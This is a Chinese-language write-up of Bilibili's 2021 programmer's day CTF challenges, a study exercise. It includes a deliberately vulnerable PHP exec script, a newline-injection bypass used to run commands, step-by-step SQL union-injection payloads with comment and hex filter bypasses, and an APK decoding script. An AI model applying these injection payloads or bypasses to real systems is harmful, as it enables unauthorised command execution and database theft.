记bilibili 2021 1024程序员节安全攻防挑战赛

赛题地址：https://www.bilibili.com/blackboard/20211024.html

题目1

AES解密，密码：happy_1024_2233，密文是底下两行字符，需拼成一行（一开始确实没想到是这样！）

在线解密网站：http://tool.chacuo.net/cryptaes

题目2

F12，一番寻找下在home.vue中找到藏着的flag

题目3

下载压缩包，解压后得到eval.php

<?php
    /* 
        bilibili- ( ゜- ゜)つロ 乾杯~
        uat: http://192.168.3.2/uat/eval.php
        pro: http://security.bilibili.com/sec1024/q/pro/eval.php
    */
    $args = @$_GET['args'];
    if (count($args) >3) {
        exit();
    }
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) ) {
            exit();
        }
    }
    // todo: other filter
    $cmd = "/bin/2233 " . implode(" ", $args);
    exec($cmd, $out);
    for ($i=0; $i<count($out); $i++){
        echo($out[$i]);
        echo('<br>');
    }
?>

大致思路是由args参数传入命令来找出flag，args数组元素限制在3个以内，且正则匹配/^\w+$/过滤掉了像/、.、这样的特殊字符，args还拼接了/bin/2233，直接传入命令无法正常执行，这个可以用结尾接换行符%0a来绕过，然后就能执行命令了。

ls 查看当前目录下的文件

cat passwd 得到flag

题目4

地址和题目2一样，不过没啥思路。后来得到提示是sql注入，再次F12下找到一个api接口，是以POST提交日志信息的一些参数。

user_name处存在注入点，过滤了空格。

获取库名，q

{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/1,2,3,4,database()",
    "action": "",
    "page": 1,
    "size": 20
}

获取表名，flag,log,user

{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/1,2,3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()",
    "action": "",
    "page": 1,
    "size": 20
}

获取字段名，id（这里不能使用引号，不然就提前闭合导致错误，可以使用十六进制绕过，flag的十六进制为666c6167，前面加上0x）

{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/1,2,3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167",
    "action": "",
    "page": 1,
    "size": 20
}

最后一步，获取flag

{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/1,2,3,4,group_concat(id)/**/from/**/flag",
    "action": "",
    "page": 1,
    "size": 20
}

题目5

下载test.apk，输入账户名和密码提交后提示“还差一点点~~”

那是不是输入对了就给flag？逐渐忘记题目，这题考的是逆向分析啊~

以下参考其他师傅解法：

JADX打开

Encrypt是加密过程，MainActivity里的两串字符，拿去按Encrypt里的反向操作一次即可。即：一次base64解码，一次异或3，两串可合成一串flag

解题脚本

import base64
 
obyteArray = [0x59, 0x57, 0x42, 0x6c, 0x4f, 0x6d, 0x5a, 0x6e, 0x4e, 0x6a, 0x41, 0x75, 0x4f, 0x6d, 0x4a, 0x6d, 0x4e,
              0x7a,
              0x41, 0x78, 0x4f, 0x32, 0x59, 0x3d]
 
code = [0x4e, 0x6a, 0x49, 0x31, 0x4f, 0x7a, 0x41, 0x33, 0x59, 0x47, 0x41, 0x75, 0x4e, 0x6a, 0x4e, 0x6d, 0x4e, 0x7a,
        0x63, 0x37, 0x59, 0x6d, 0x55, 0x3d]
 
user = ""
 
password = ""
 
for i in range(24):
    user+=chr(obyteArray[i])
    password+=chr(code[i])
 
print(base64.b64decode(user))
print(base64.b64decode(password))
 
a1 = str(base64.b64decode(user),encoding="utf-8")
a2 = str(base64.b64decode(password),encoding="utf-8")
 
ans=""
ans1=""
for i1 in range(17):
    p=ord(a1[i1])^3
    ans+=chr(p)
    p1=ord(a2[i1])^3
    ans1+=chr(p1)
 
print(ans)
print(ans1)

题目6

可参考：https://www.52pojie.cn/thread-1532604-1-1.html

题目7

日志分析，需要找出所有的恶意IP，部分答案如下：

jj.bdc.bbb.cc,dc.bb.ii.jj,cde.ced.bbb.dd,cdd.bcc.bg.bib,cd.bb.cai.cbh,cd.baf.cae.cbc,bfh.ff.dj.jf,bfh.ff.dj.ig,bfh.ff.dj.fb,bfh.ff.dj.bd,bfh.ff.dj.bcf,bbb.bb.bjd.bhf,bbb.bb.bjd.bhc,bbb.bb.bjd.bha,bbb.bb.bjd.bgc,bba.ja.ccb.cbc,bba.ja.cca.beg